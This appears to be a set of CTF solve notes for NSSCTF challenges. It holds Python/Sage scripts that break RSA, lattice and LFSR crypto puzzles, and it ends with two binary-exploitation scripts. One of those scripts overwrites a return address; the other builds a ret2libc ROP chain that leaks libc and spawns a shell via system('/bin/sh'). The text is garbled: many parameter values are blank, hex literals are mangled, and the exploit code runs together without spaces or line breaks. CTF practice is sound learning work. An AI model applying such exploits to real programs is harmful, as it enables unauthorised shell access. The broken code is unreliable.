from math import gcd
from math import isqrt
from random import randrange
from gmpy2 import is_prime
def factorize(N, phi):
"""
Recovers the prime factors from a modulus if Euler's totient is known.
This method only works for a modulus consisting of 2 primes!
:param N: the modulus
:param phi: Euler's totient, the order of the multiplicative group modulo N
:return: a tuple containing the prime factors, or None if the factors were not found
"""
s = N + 1 - phi
d = s ** 2 - 4 * N
p = int(s - isqrt(d)) // 2
q = int(s + isqrt(d)) // 2
return p, q
def factorize_multi_prime(N, phi):
"""
Recovers the prime factors from a modulus if Euler's totient is known.
This method works for a modulus consisting of any number of primes, but is considerably be slower than factorize.
More information: Hinek M. J., Low M. K., Teske E., "On Some Attacks on Multi-prime RSA" (Section 3)
:param N: the modulus
:param phi: Euler's totient, the order of the multiplicative group modulo N
:return: a tuple containing the prime factors
"""
prime_factors = set()
factors = [N]
while len(factors) > 0:
# Element to factorize.
N = factors[0]
w = randrange(2, N - 1)
i = 1
while phi % (2 ** i) == 0:
sqrt_1 = pow(w, phi // (2 ** i), N)
if sqrt_1 > 1 and sqrt_1 != N - 1:
# We can remove the element to factorize now, because we have a factorization.
factors = factors[1:]
p = gcd(N, sqrt_1 + 1)
q = N // p
if is_prime(p):
prime_factors.add(p)
elif p > 1:
factors.append(p)
if is_prime(q):
prime_factors.add(q)
elif q > 1:
factors.append(q)
# Continue in the outer loop
break
i += 1
return tuple(prime_factors)
n=
phi=
c=
prime_list = sorted(factorize_multi_prime(n,phi))
p,q,r = prime_list[0],prime_list[1],prime_list[2]
print(p,q,r)
p=
q=
r=
from Crypto.Util.number import *
e=65537
phi1=(p-1)
n1=p
d=inverse(e,phi1)
ck=pow(c,d,n1)
print(long_to_bytes(ck))
p =
q =
c =
n = p * q
c_p = c % p
c_q = c % q
from sympy.ntheory.residue_ntheory import nthroot_mod
roots_p = nthroot_mod(c_p, 4, p, all_roots=True)
roots_q = nthroot_mod(c_q, 4, q, all_roots=True)
from sympy.ntheory.modular import crt
from Crypto.Util.number import long_to_bytes
for root_p in roots_p:
for root_q in roots_q:
m, _ = crt([p, q], [root_p, root_q])
flag = long_to_bytes(m)
if b'NSSCTF{' in flag:
print(flag)
exit()
from Crypto.Util.number import *
p=
q=
c=
n=
e= 4
phi = (p-1)*(q-1)
gcd = GCD(e,phi)
res1 = Zmod(p)(c).nth_root(gcd, all=True)
res2 = Zmod(q)(c).nth_root(gcd, all=True)
for i in res1:
for j in res2:
m = crt([int(i),int(j)],[p,q])
if m is not None:
try:
print(long_to_bytes(int(m)).decode())
except Exception as e:
continue
from Crypto.Util.number import getPrime, bytes_to_long
from secret import f
flag = b'NSSCTF{test_flag}'
p = getPrime(512)
q = getPrime(512)
n = p*q
m = bytes_to_long(flag)
e = 65537
c = pow(m,e,n)
R.<x> = ZZ[]
f = R(str(f))
w = pow(2,f(p),n)
print(f'{n = }\n')
print(f'{e = }\n')
print(f'{c = }\n')
print(f'{f = }\n')
print(f'{w = }\n')
from Crypto.Util.number import getPrime, bytes_to_long
from random import *
from secret import f, flag
assert len(flag) == 88
assert flag.startswith(b'NSSCTF{')
assert flag.endswith(b'}')
p = getPrime(512)
q = getPrime(512)
n = p*q
P.<x,y> = ZZ[]
f = P(str(f))
w = pow(2,f(p,q),n)
assert all(chr(i) in ''.join(list(set(str(p)))) for i in flag[7:-1:])
c = bytes_to_long(flag) % p
print(f'{n = }\n')
print(f'{f = }\n')
print(f'{w = }\n')
print(f'{c = }\n')
from Crypto.Util.number import *
n =
w =
c =
P.<x,y> = PolynomialRing(ZZ)
f =
g = f(x,n/x)(x+1,0)
print(g)
p = GCD(pow(2,g(0,0),n)-w,n)
from Crypto.Util.number import *
p=12887845651556262230127533819087214645114299622757184262163859030601366568025020416006528177186367994745018858915213064803349065489849643880676026721892753
c = 10266913434526071998707605266130137733134248608585146234981245806763995653822203763396430876254213500327272952979577138542487120755771047170064775346450942
Ge = Matrix(ZZ,82,82)
temp = bytes_to_long(b"NSSCTF{") * 256^81 + bytes_to_long(b"}")
for i in range(80):
temp += 48*256^(80-i)
for i in range(80):
Ge[i,i] = 1
Ge[i,-1] = 256^(80-i)
Ge[-2,-2] = 3
Ge[-2,-1] = (temp - c)
Ge[-1,-1] = p
for line in Ge.BKZ():
m = ""
if line[-1] == 0 and abs(line[-2]) == 3:
print(line)
for i in line[:-2]:
m += str(abs(i))
flag = "NSSCTF{" + m + "}"
print(flag)
from Crypto.Util.number import *
from hashlib import md5
from secret import KEY， flag
assert int(KEY).bit_length() == 36
assert not isPrime(KEY)
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 0x10001
ck = pow(KEY, e, n)
assert flag == b'NSSCTF{' + md5(str(KEY).encode()).hexdigest().encode() + b'}'
print(f"{n = }")
print(f"{e = }")
print(f"{ck = }")
import gmpy2
from gmpy2 import powmod, invert
import multiprocessing as mp
from hashlib import md5
n =
e =
ck =
def precompute_a(start, end, queue):
hash_table = {}
for a in range(start, end):
a_e = powmod(a, e, n)
hash_table[a_e] = a
queue.put(hash_table)
def search_b(start, end, hash_table, queue):
result = None
for b in range(start, end):
b_e = powmod(b, e, n)
try:
inv_b_e = invert(b_e, n)
except gmpy2.ZeroDivisionError:
continue
tmp = (ck * inv_b_e) % n
if tmp in hash_table:
a = hash_table[tmp]
KEY = a * b
if KEY.bit_length() == 36 and not gmpy2.is_prime(KEY):
result = KEY
break
queue.put(result)
def main():
a_start = 1
a_end = 2**20 # 扩大范围至2^19，覆盖1到524287
num_processes = 8
chunk_size = (a_end - a_start + num_processes - 1) // num_processes # 确保覆盖所有a值
manager = mp.Manager()
queue = manager.Queue()
processes = []
for i in range(num_processes):
start = a_start + i * chunk_size
end = min(start + chunk_size, a_end)
p = mp.Process(target=precompute_a, args=(start, end, queue))
processes.append(p)
p.start()
hash_table = {}
for _ in range(num_processes):
ht = queue.get()
hash_table.update(ht)
for p in processes:
p.join()
print(f"Hash table size: {len(hash_table)}")
b_start = 1
b_end = 2**20
# 修正b的分割方式，确保覆盖所有值
b_chunk_size = (b_end - b_start + num_processes - 1) // num_processes
result_queue = manager.Queue()
processes = []
for i in range(num_processes):
start = b_start + i * b_chunk_size
end = min(start + b_chunk_size, b_end)
p = mp.Process(target=search_b, args=(start, end, hash_table, result_queue))
processes.append(p)
p.start()
KEY = None
for _ in range(num_processes):
res = result_queue.get()
if res is not None:
KEY = res
# 终止所有进程
for p in processes:
if p.is_alive():
p.terminate()
break
for p in processes:
p.join()
if KEY is not None:
print(f"Found KEY: {KEY}")
md5_hash = md5(str(KEY).encode()).hexdigest()
flag = f"NSSCTF{{{md5_hash}}}"
print(flag)
else:
print("KEY not found. Consider further expanding the search range or optimizing the factorization strategy.")
if __name__ == "__main__":
main()
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import md5
from secret import flag, seed, mask
class 踩踩背:
def __init__(self, n, seed, mask, lfsr=None):
self.state = [int(b) for b in f"{seed:0{n}b}"]
self.mask_bits = [int(b) for b in f"{mask:0{n}b}"]
self.n = n
self.lfsr = lfsr
def update(self):
s = sum([self.state[i] * self.mask_bits[i] for i in range(self.n)]) & 1
self.state = self.state[1:] + [s]
def __call__(self):
if self.lfsr:
if self.lfsr():
self.update()
return self.state[-1]
else:
self.update()
return self.state[-1]
class 奶龙(踩踩背):
def __init__(self, n, seed, mask):
super().__init__(n, seed, mask, lfsr=None)
n = 64
assert seed.bit_length == mask.bit_length == n
lfsr1 = 奶龙(n, seed, mask)
lfsr2 = 踩踩背(n, seed, mask, lfsr1)
print(f"mask = {mask}")
print(f"output = {sum(lfsr2() << (n - 1 - i) for i in range(n))}")
print(f"enc = {AES.new(key=md5(str(seed).encode()).digest(), mode=AES.MODE_ECB).encrypt(pad(flag, 16))}")
from Crypto.Util.number import *
c =
R.<x> = PolynomialRing(QQ)
f = x^3-(c/4)
res = f.roots()
c = abs(arcsin(res[0][0]))
K = 2^900
T = 2^300
ge = [[1,0,K],[0,T,c*K],[0,0,2*pi.n(1024)*K]]
Ge = Matrix(QQ,ge)
L = Ge.LLL()
print(L)
assert abs(L[0][1]) == T
m = long_to_bytes(int(abs(L[0][0])))
if b"NSSCTF{" in m:
print(m)
pwn题目
hello world
有pie无canary并且有溢出， partial write返回地址秒了
exp
1
2
3
4
5
6
7
frompwnfuncimport*io,elf,libc=pwn_initial()set_context(term="tmux_split",arch="amd64")"""amd64 i386 arm arm64 riscv64"""payload=b"a"*028+p8(0C5)s(payload)ia()
frompwnfuncimport*io,elf,libc=pwn_initial()set_context(term="tmux_split",arch="amd64")"""amd64 i386 arm arm64 riscv64"""sl(b"3")ru(b"How much do you want to spend buying the hell_money?\n")sl(str(1000))r()sl(b"7")r()sl(b"10000")ru(b"6.check youer money\n")sl(b"5")ru(b"You can name it!!!\n")prdi=00000000000400D73payload=(b"a"*048+p(prdi)+p(elf.got["puts"])+p(elf.plt["puts"])+p(elf.sym["main"]))s(payload)base=u(r(6).ljust(8,b"\0"))-0000000000006F6A0success(hex(base))system=base+libc.sym["system"]binsh=base+0000000000018CE57payload=b"a"*(048)+p(00000000000400579)+p(prdi)+p(binsh)+p(system)sl(b"5")s(payload)ia()
